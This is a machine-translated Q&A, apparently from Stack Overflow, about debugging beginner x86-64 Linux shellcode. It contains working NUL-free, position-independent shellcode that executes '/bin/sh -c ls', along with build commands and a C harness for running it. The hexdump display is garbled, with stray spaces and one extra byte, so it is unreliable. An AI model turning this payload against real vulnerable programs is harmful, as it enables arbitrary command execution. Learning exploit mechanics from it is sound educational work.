问题描述
我是shellcode开发的新手,我不明白为什么生成的shellcode无法按预期工作。
汇编代码:
基于an answer,是我之前的问题。
.section .data
cmd: .string "/bin/sh" /* command string */
hand: .string "-c" /* command arguments string */
args: .string "ls -al" /* arguments string */
argv: .quad cmd /* array of command,command arguments and arguments */
.quad hand
.quad args
.quad 0
.section .text
.globl _start
_start:
movq $59,%rax /* call execve system call */
leaq cmd(%rip),%rdi /* save command to rdi */
leaq argv(%rip),%rsi /* save args to rsi */
movq $0,%rdx /* save NULL to rdx */
syscall /* make system call */
C测试代码:
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
输出:
Illegal instruction
详细信息::Kali Linux GNU / Linux i386 x86_64
解决方法
您的代码存在问题,就是您生成的shell字符串不包含任何数据。并且数据包括绝对指针,因此不是位置无关的,因此如果您将其移动到.text
并将其包括在内将不起作用。一旦像在 C 代码中一样在另一个程序中运行,该程序将尝试查找不存在的数据以及在不适用于您正在其中运行的可利用程序的固定内存位置的数据。
我认为您可能还有另一个导致非法说明的问题。您没有显示如何构建 C 程序,但是我想知道它是否是32位的,而您的shellcode是64位的。我开始认为您的 C 程序可能已被编译为32位程序,而非法指令可能是因为您无法可靠地运行64位代码(外壳程序代码)在32位程序中。例如,SYSCALL
指令是非AMD CPU上32位程序中的无效操作码。这只是在没有有关如何编译/汇编/链接shell代码和 C 程序的更多细节的情况下的猜测。
您将必须生成位置无关代码(PIC),以便一旦加载到堆栈上就可以在任何地方运行。您的数据将必须与代码一起放入段中。该代码还必须避免生成NUL字符(0x00),因为如果将其作为用户输入提供给实际可利用程序的话,它将过早终止字符串。
可用于此类目的的代码版本如下:
shellcode.s :
# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.
.section .text
.globl _start
_start:
jmp overdata # Mix code and DATA in same segment
# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh" # Program to run
name_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c" # Program argument
arg1_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls" # Program Argument
arg2_nul: .byte 0xff # This 0xff will be replaced by 0x00 in the code
overdata:
xor %eax,%eax # RAX = 0
# All references to the data before our code will use a negative offset from RIP
# and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
# in the code. We use RIP relative addressing so the code will be position
# independent once loaded in memory.
# Zero terminate each of the strings
mov %al,arg2_nul(%rip)
mov %al,arg1_nul(%rip)
mov %al,name_nul(%rip)
lea name(%rip),%rdi # RDI = pointer to program name string
push %rax # NULL terminate the program argument array
leaq arg2(%rip),%rsi
push %rsi # Push address of the 3rd program argument on stack
lea arg1(%rip),%rsi
push %rsi # Push address of the 2nd program argument on stack
push %rdi # Push address of the program name on stack as 1st arg
mov %rsp,%rsi # RSI = Pointer to the program argument array
mov %rax,%rdx # RDX = 0 = NULL envp parameter
mov $59,%al # RAX = execve system call number
syscall
您可以使用以下方法生成C样式字符串:
as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
上面的hexdump
命令将输出:
\ xeb \ x0e \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ xff \ x2d \ x63 \ xff \ x6c \ x73 \ xff \ x31 \ xc0 \ x88 \ x05 \ xf7 \ xff \ xff \ xff \ x88 \ x05 \ xee \ xff \ xff \ xff \ x88 \ x05 \ xe5 \ xff \ xff \ xff \ x48 \ x8d \ x3d \ xd7 \ xff \ xff \ xff \ xff \ x50 \ x48 \ x8d \ x35 \ xda \ xff \ xff \ xff \ x56 \ x48 \ x8d \ x35 \ xcf \ xff \ xff \ xff \ x56 \ x57 \ x48 \ x89 \ xe6 \ x48 \ x89 \ xc2 \ xb0 \ x3b \ x0f \ x05
您会注意到,与您的代码不同,没有\x00
个字符。您可以直接在 C 程序中使用此字符串,例如:
exploit.c :
int main(void)
{
char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
这必须被编译并与可执行堆栈链接:
gcc -zexecstack exploit.c -o exploit
strace ./exploit
将生成类似于以下内容的EXECVE
系统调用:
execve(“ / bin / sh”,[“ / bin / sh”,“ -c”,“ ls”],NULL)= 0
注意:我个人将以编程方式在堆栈上构建字符串,类似于我编写的另一个Stackoverflow answer中的代码。